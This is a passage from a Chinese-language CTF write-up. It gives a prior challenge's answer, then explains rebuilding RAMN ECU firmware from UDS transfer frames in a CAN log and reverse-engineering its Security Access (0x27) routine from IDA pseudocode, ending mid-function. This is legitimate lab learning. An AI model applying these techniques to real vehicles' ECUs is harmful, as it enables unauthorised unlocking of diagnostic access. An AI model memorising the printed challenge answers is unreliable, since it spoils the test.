</span></span><span class="line"><span class="ln">136</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Keys match: </span><span class="si">{</span><span class="n">d</span> <span class="o">==</span> <span class="n">d_verify</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl">    
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">,</span> <span class="n">d</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">
</span></span><span class="line"><span class="ln">140</span><span class="cl">
</span></span><span class="line"><span class="ln">141</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">AutoGraph.py</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>答案是：<code>58198666691408413489157977283298548714183388226985257069167369868995344613920</code></p>
<h3 id="password-change-policy-ramn">Password Change Policy [RAMN]<a class="anchor" href="#password-change-policy-ramn">#</a></h3>
<blockquote>
<p>This challenge dives into Universal Diagnostic Services (UDS) and firmware reverse engineering. You&rsquo;ll need to reconstruct a complete firmware image from a raw CAN log file.</p>
<p>The main goal is to identify and understand a new Security Access algorithm embedded within the firmware. This algorithm is common to other automotive security access algorithms, requiring meticulous binary analysis to extract. Success hinges on your UDS knowledge and reverse engineering skills.</p>
<p><em><strong>Prompt:</strong></em> I updated my RAMN with a new firmware for ECU C, but it seems like the Security Access algorithm has been updated and I can’t unlock it anymore.</p>
<p>ECU C just gave me the seed: 9A5ABF0C1CAAFDEB72761E909501D6E9.</p>
<p>What is the answer to that seed? (Note: flag is 32-character hexadecimal string, all caps).</p>
<p>本挑战涉及通用诊断服务（UDS）和固件逆向工程。你需要从原始的 CAN 日志文件中重建完整的固件镜像。</p>
<p>主要目标是识别并理解嵌入在固件中的新型安全访问算法。这种算法与其他汽车安全访问算法类似，需要进行细致的二进制分析才能提取出来。成功与否取决于你对 UDS 的理解以及你的逆向工程技能。</p>
<p>提示：我用 ECU C 的新固件更新了我的 RAMN，但似乎安全访问算法已经更新了，我现在无法解锁它了。</p>
<p>ECU C 刚刚给了我一个种子：9A5ABF0C1CAAFDEB72761E909501D6E9。</p>
<p>这个种子的答案是什么？（注意：flag 是一个 32 位字符的十六进制字符串，全部大写）。</p>
</blockquote>
<p>给了提示，就是提取固件分析，和安全访问算法</p>
<p>不给提示也能知道大致内容（先射箭再画靶子）</p>
<p>0x36服务是数据传输服务，靠他来传输数据，但是需要请求一下，而请求的SID分两种，请求下载0x34，请求上传0x35</p>
<p>但这里面没有#34或#35的字样，也就是只给了传输帧</p>
<p>固件都很大，都是首帧加连续帧的组合，连续帧没什么好说的，第一个字节代表第几个片段，后面都是数据</p>
<p>首帧不一样，一般是前两个字节是PCI和数据总长度，第三个字节是回应的SID，也就是0x36，第四个字节代表块序号，因为连续帧最多传输，0xFFF个字节，这远远不够一个固件的大小。首帧加相应连续帧构成一个帧块。所以第四个字节表示这是第几个个帧块，传输完一个块就加0x01，然后把对应块按序号连接起来构成最终固件。后面四个字节是有效数据</p>
<p>还有一点，CAN ID是7E2，通常是诊断请求的发送方，如果正则搜索<code>7E2#1...36..</code>就能看到有多少个帧块，还能看到最后的数字在逐个增加，那就是帧块序号</p>
<p>脚本让AI给就行，跟之前的大同小异。</p>
<p>得到了一个bin文件，将其拖入IDA</p>
<p>在函数<code>sub_8006828</code> 中发现主要代码块，我不知道yichen怎么翻到这个函数的，伪代码如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8006828</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">a5</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r3
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="n">dword_20032B04</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">dword_20032B08</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">a5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">dword_20032B10</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">a3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="o">*</span><span class="n">a2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&lt;=</span> <span class="mh">0xFu</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8003A28</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">,</span> <span class="n">a4</span><span class="p">,</span> <span class="n">a5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">v6</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">135</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8006150</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x87u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">133</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8006078</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x85u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0x27u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">==</span> <span class="mi">62</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_8005FF4</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">a2</span> <span class="o">&lt;</span> <span class="mh">0x10u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="k">switch</span> <span class="p">(</span> <span class="o">*</span><span class="n">a2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="k">case</span> <span class="mh">0x10</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004428</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">case</span> <span class="mh">0x11</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004544</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="k">case</span> <span class="mh">0x14</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_80045B4</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="k">case</span> <span class="mh">0x27</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">sub_8004DB8</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a2</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>题目提到了安全访问算法，而这个安全访问是0x27服务，我建议阅读：<a
  href="https://blog.csdn.net/huihuige092/article/details/126465150" rel="nofollow noopener noreferrer" target="_blank"
  >https://blog.csdn.net/huihuige092/article/details/126465150<span style="user-select:none"> ↗</span></a
>
</p>
<p>首先去看<code>case 0x27</code>：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8004DB8</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="n">a2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// r3
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">&lt;=</span> <span class="mi">1u</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7F</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_8004BF4</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">!=</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">18</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">!=</span> <span class="mi">18</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="k">return</span> <span class="nf">sub_8004CD4</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>函数都点一点，<code>sub_8004CD4</code> 有一个 16 次的 for 循环，正好对应了种子的字节数：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_8004CD4</span><span class="p">(</span><span class="kt">int</span> <span class="n">result</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v1</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [sp+Ch] [bp+Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [sp+10h] [bp+10h]
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">char</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [sp+17h] [bp+17h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">v1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">103</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="n">v1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x7F</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">dword_20032B3C</span> <span class="o">&gt;</span> <span class="mi">4</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">54</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">dword_20032B10</span> <span class="o">-</span> <span class="n">dword_20032B38</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">9</span> <span class="p">)</span>
